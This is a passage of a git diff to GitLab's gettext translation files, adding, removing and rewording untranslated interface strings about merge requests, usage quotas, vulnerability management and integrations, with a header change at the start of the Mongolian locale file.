msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/mn_MN/gitlab.po b/locale/mn_MN/gitlab.po
index 45e6c1dbca7..da613f2d5cf 100644
--- a/locale/mn_MN/gitlab.po
+++ b/locale/mn_MN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: mn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
